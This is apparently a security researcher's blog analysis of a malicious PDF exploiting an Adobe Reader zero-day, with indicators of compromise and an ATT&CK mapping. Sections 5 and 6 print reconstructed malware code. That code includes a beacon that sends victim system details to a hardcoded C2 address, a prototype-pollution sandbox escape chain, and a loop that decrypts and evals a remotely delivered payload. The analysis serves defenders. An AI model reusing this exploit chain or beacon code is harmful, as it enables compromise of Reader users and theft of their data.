The Ruins
ZERO-DAY PDF ANALYSIS

Adobe Reader Zero-Day: Analysis of a Malicious PDF with Embedded JavaScript & Multi-Stage Payload

πŸ“… 2026-04-15 ⏱ 14 MIN READ ✍ SalahEldin Kamil CRITICAL
For the past few months, hackers have been exploiting an Adobe Reader zero-day to gather and exfiltrate information. Security researcher Haifei Li discovered a malicious PDF and asked the community to help analyze it. This report documents the findings: embedded JSFuck-obfuscated JavaScript, a hidden AcroForm payload, multi-layer AES-CTR decryption, and covert C2 communication via abused PDF RSS APIs.

1. Key Findings

Malicious PDF overview and structure

Figure 1: Malicious PDF overview β€” embedded JavaScript, AcroForm payload, and C2 structure

FINDING DETAIL
Embedded JavaScript Executes automatically, initiates multi-stage infection chain
Heavy Obfuscation JSFuck-style techniques and string-mapping function to hide indicators
Hidden Payload in AcroForm Base64-encoded data stored in form field (btn1), retrieved at runtime
Multi-layer Decoding Base64 β†’ byte conversion β†’ AES-CTR decryption β†’ zlib/deflate decompression
C2 Communication Hardcoded endpoint: 169[.]40[.]2[.]68[:]45191
System Fingerprinting Collects OS, Adobe Reader version, platform, and environment details
Stealth & Evasion Hides PDF layers (getOCGs), delays execution (setTimeOut)
Continuous Polling setInterval repeatedly checks for and processes incoming payload data
Dynamic Execution Final payload executed via runtime eval: eval(global.final_js)

2. Static Analysis β€” pdfid.py & pdf-parser.py

Using pdfid.py to perform initial static analysis of the PDF sample provided an overview of the file structure and highlighted the presence of suspicious elements. The analysis revealed:

/JavaScript: 2
/JS:         1
/AcroForm:   1

These are strong indicators of embedded scripts and hidden payload storage.

pdfid.py output showing JavaScript and AcroForm

Figure 2: pdfid.py output β€” JavaScript and AcroForm objects flagged as suspicious

Using pdf-parser.py, I enumerated the PDF objects and identified the specific object IDs containing /JS, /JavaScript, and /AcroForm:

pdf-parser.py object enumeration results

Figure 3: pdf-parser.py β€” object IDs mapped to JS, JavaScript, and AcroForm entries

3. JavaScript Obfuscation β€” JSFuck Style

The extracted JavaScript code was heavily obfuscated using JSFuck-style techniques, making it difficult to interpret directly. The script relied on complex expressions such as ({}+[]), +!+[], and dynamic string construction to conceal its functionality.

To better understand the behavior, the code was deobfuscated with the assistance of AI, resulting in a simplified and readable version of the script.

JSFuck-style obfuscated JavaScript in the PDF

Figure 4: JSFuck-style obfuscation β€” ({}+[]), +!+[] expressions conceal the actual logic

The script begins by delaying execution using app.setTimeOut for 500 milliseconds β€” a common evasion technique to bypass sandbox and automated analysis environments. It then retrieves hidden data from a PDF form field using getField(...).value, indicating that the payload is not directly embedded in the visible JavaScript but stored elsewhere within the document. The retrieved data is processed using util.stringFromStream and SOAP.streamDecode to convert and decode the data into a usable format.

Further analysis of the /AcroForm object revealed a Base64-encoded string stored within a form field value. This encoded data represents the next stage of the payload, decoded and processed at runtime.

AcroForm object with Base64-encoded payload

Figure 5: AcroForm object β€” Base64-encoded second-stage payload hidden in form field btn1

4. Multi-Layer Decoding & Encryption

With the help of CyberChef and AI-assisted analysis, I deobfuscated and reconstructed the JavaScript code into a near-readable form. After decoding the Base64-encoded data, the resulting output reveals a second-stage JavaScript payload that remains heavily obfuscated.

This decoded script introduces more advanced mechanisms:

This confirms that the Base64 layer is only the first step in a multi-stage execution chain designed to hide the actual malicious functionality until runtime.

Multi-layer decoding and AES-CTR decryption logic

Figure 6: Second-stage payload β€” string mapping, AES-CTR decryption, and zlib decompression chain

5. C2 Communication & System Fingerprinting

Fingerprints the victim machine β€” checks OS (targets Win10), Reader version (β‰₯21), reader bitness (64-bit), viewer type ("Reader"), platform, and open documents.

// === VICTIM FINGERPRINTING ===
            var webserver = "169.40.2.68:45191";
            var viewerVersion = app.viewerVersion;
            var viewerType = app.viewerType;   // must be "Reader"
            var platform = app.platform;       // must be "WIN"
            var os = getOS();                  // must be "WIN10"
            var is64bit = isReader64bit();     // must be true
                  

Exfiltrates victim info to a C2 server at 169[.]40[.]2[.]68:45191 via RSS feed URLs, including language, viewer version, platform, active doc count, PDF file path, and a random nonce.

            // === C2 BEACON URL ===
            var beaconURL = "http://" + webserver + "/" + payloadPath
              + "?language=" + app.language
              + "&viewerType=" + app.viewerType
              + "&version=" + app.viewerVersion
              + "&platform=" + app.platform
              + "&activeDocs=" + activeDocs_count
              + "&errs=" + ERRS           // array of requirement failures
              + "&av=" + snake_type
              + "&osVersion=" + getOS()
              + "&pdfFile=" + pdfFile
              + "&rnd=" + Math.random();
                  

Receives and executes an encrypted payload β€” it polls for two RSS responses: an AES key (bird0) and encrypted data (bird1). Once both arrive, it decrypts with AES-CTR, decompresses with zlib inflate, then eval()s the result as JavaScript inside Acrobat.

            // === PRIVILEGE ESCALATION ===
            // Injects into ANFancyAlertImpl to corrupt Object.prototype
            // allowing untrusted JS to call SilentDocCenterLogin with elevated privs
            global["reindeer"] = () => {
              global["bird0"] = function(path) {
                try {
                  stream = { read: app.openDoc.bind(app, path) };
                  ob = { getFullName: SOAP.connect.bind(SOAP, stream) };
                  Object.prototype.__defineGetter__("swConn", () => { return ob; });
                  data = { WT: '' };
                  this.dirty = false;
                  pwnobj = {
                    lastIndexOf: SilentDocCenterLogin.bind(app, data, {}),
                    substring: () => { throw Error(''); }
                  };
                  this.getField("path", () => { return pwnobj; });
                  ANShareFile({ doc: eval("this") });
                } catch(e) {}
              };
            };
          

Exploits Adobe's SOAP/SilentDocCenterLogin APIs via a prototype pollution trick through ANFancyAlertImpl and ANShareFile to gain elevated ("trusted") privileges. The code implements a sandbox escape by abusing Adobe Reader’s JavaScript APIs and leveraging prototype pollution via __defineGetter__ to hijack object behavior and inject attacker-controlled objects. By chaining trusted functions such as SOAP.connect, app.openDoc, and triggering ANShareFile, it forces the execution of SilentDocCenterLogin in a privileged context, ultimately achieving arbitrary code execution outside the PDF sandbox.

            // Trigger via crafted button name in ANFancyAlertImpl
            buttons = { "a(a(a');  }); global.reindeer(); throw Error('oops'); //": 0 };
            ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0);

            // === PAYLOAD DELIVERY ===
            // Polls every 500ms for C2 to populate bird0 (AES key) + bird1 (ciphertext)
            function check() {
              if (global.bird1 !== undefined && global.bird0 !== undefined) {
                clearInterval(global.pig0);
                encryptedBytes = aesjs.utils.hex.toBytes(global.bird1);
                aesCtr = new aesjs.ctr(global.bird0, new aesjs.Counter(1));
                decryptedBytes = aesCtr.decrypt(encryptedBytes);
                // Convert bytes to string, then zlib decompress
                global.final_js = zip_inflate(decryptedText);
                // Execute the payload
                app.setTimeOut("eval(global.final_js);", 500);
                app.setTimeOut("removeFeeds();", 2000); // clean up RSS feeds
              }
            }
            global.pig0 = app.setInterval("check()", 500);

The exploit is triggered via a crafted button name in ANFancyAlertImpl, which injects and executes the privilege escalation chain within a trusted context after successful exploitation.

6. Continuous Polling & Downloader Role

The malware enters a polling loop, waiting for the C2 server to deliver an AES key bird0 and an encrypted payload bird1, which are then decrypted, decompressed, and executed dynamically. This final stage enables the delivery and execution of the attacker’s payload while cleaning up traces of the communication channel. Notably, the use of RSS.addFeed() and RSS.getFeeds() demonstrates an abuse of built-in PDF networking capabilities for covert C2 communication, allowing the malware to fetch and execute additional payloads while evading standard network monitoring mechanisms.

            function startup(global) {

    var url1 = "http://";
    var url2 = "http://";

    try { RSS.getFeeds(url1); } catch (e) {}
    try { RSS.getFeeds(url2); } catch (e) {}

    try { RSS.addFeed(url2, true); } catch (e) {}
    try { RSS.addFeed(url1, true); } catch (e) {}

    global.timer = app.setInterval(function () {
        check(global, url1, url2);
    }, 500);
}
// Note: This code constructed from deobfuscation efforts and may not be the exact original code, but it captures the core logic of the
RSS.addFeed and RSS.getFeeds used for C2 polling

Figure 7: Abused PDF RSS APIs β€” addFeed and getFeeds used as covert C2 polling channel

Haifei Li reported that on 7 April 2026, the C2 server was still reachable but did not return a payload, indicating the use of victim filtering techniques β€” the attacker selectively delivers payloads only to specific targets.

C2 server still active on April 7 2026

Figure 8: C2 server active as of April 7 2026 β€” no payload returned, suggesting victim filtering

7. Executive Summary

This report analyzes a malicious PDF file that leverages embedded JavaScript to execute a multi-stage malware delivery process. The document uses advanced obfuscation techniques and hidden storage within AcroForm fields to conceal its payload and evade static analysis. Upon opening, the PDF executes obfuscated JavaScript that retrieves a Base64-encoded payload from a form field. This payload is decoded, further deobfuscated, and processed through additional stages, including AES decryption and decompression, to reconstruct the final malicious code at runtime. The malware establishes communication with a hardcoded command-and-control (C2) server at 169[.]40[.]2[.]68[:]45191, sending system information such as operating system, platform, and viewer details. It abuses legitimate PDF APIs, including RSS.addFeed() and RSS.getFeeds(), to perform covert network communication and retrieve additional payloads. Overall, the sample demonstrates a sophisticated, multi-layered infection chain that combines obfuscation, encryption, and dynamic execution techniques to evade detection and execute malicious code on the target system.

[PDF Opened]
      ↓
[JavaScript Triggered]
      ↓
[Delay Execution β€” app.setTimeOut(500ms)]
      ↓
[Read Data from AcroForm field: btn1]
      ↓
[Base64 Decode Payload]
      ↓
[Deobfuscate JavaScript β€” string mapping]
      ↓
[Hide PDF Layers β€” getOCGs() stealth]
      ↓
[Initialize Global Variables]
      ↓
[Build C2 URL β€” 169[.]40[.]2[.]68[:]45191]
      ↓
[Send System Fingerprint β€” OS, version, platform]
      ↓
[Start Polling Loop β€” setInterval]
      ↓
  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚   Check for Response from C2     β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                ↓
     [If Data + Key Received]
                ↓
     [Convert HEX β†’ Bytes]
                ↓
     [AES-CTR Decryption]
                ↓
     [Convert Bytes β†’ String]
                ↓
     [Decompress β€” zlib Inflate]
                ↓
     [Execute Final Payload β€” eval(global.final_js)]
                ↓
            [END]

     OR (if no payload received)
                ↓
     [Retry Connection to C2]
                β†Ί (loop continues)

8. IOCs

INDICATORS OF COMPROMISE
TYPE INDICATOR DESCRIPTION CONFIDENCE
SHA256 65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7 Malicious PDF sample HIGH
IP 169.40.2.68:45191 Hardcoded command-and-control (C2) server HIGH
URL Pattern http://169.40.2.68:45191/<path>?language=&viewerType=&version=&platform=&... Beaconing URL with system fingerprinting parameters HIGH
EXEC eval(global.final_js); Dynamic execution of decrypted payload HIGH
API RSS.addFeed / RSS.getFeeds Abuse of PDF RSS APIs for covert C2 communication HIGH
API getField("btn1").value Retrieves hidden Base64 payload from AcroForm HIGH
API app.setInterval / app.setTimeOut Controls execution timing and C2 polling behavior HIGH
API app.beginPriv / app.endPriv Privilege escalation within Adobe Reader environment HIGH
API util.readFileIntoStream Reads local files for environment inspection (bitness check) MEDIUM
API Collab.isDocReadOnly Abused as file existence oracle MEDIUM
EXPLOIT ANFancyAlertImpl / ANShareFile Used for sandbox escape and privilege escalation HIGH
EXPLOIT SilentDocCenterLogin Invoked under elevated privileges during exploit chain HIGH
TECHNIQUE __defineGetter__("swConn") Prototype pollution used to hijack object behavior HIGH
CRYPTO AES-CTR + zlib inflate Decrypts and decompresses final payload HIGH
VAR bird0 / bird1 AES key and encrypted payload variables HIGH
PATH /c/Windows/System32/bootsvc.dll Suspicious system path referenced MEDIUM
STRING 500072006F006400... Hex-encoded "ProductVersion" artifact MEDIUM

9. MITRE ATT&CK

TACTIC TECHNIQUE ID NAME
Initial Access T1566.001 Phishing: Spearphishing Attachment
Execution T1059.007 JavaScript
Execution T1204.002 User Execution: Malicious File
Execution T1059 Command and Scripting Interpreter
Defense Evasion T1027 Obfuscated Files or Information
Defense Evasion T1140 Deobfuscate/Decode Files or Information
Defense Evasion T1027.002 Software Packing
Discovery T1082 System Information Discovery
Command & Control T1071.001 Application Layer Protocol: HTTP
Command & Control T1105 Ingress Tool Transfer
Command & Control T1571 Non-Standard Port

References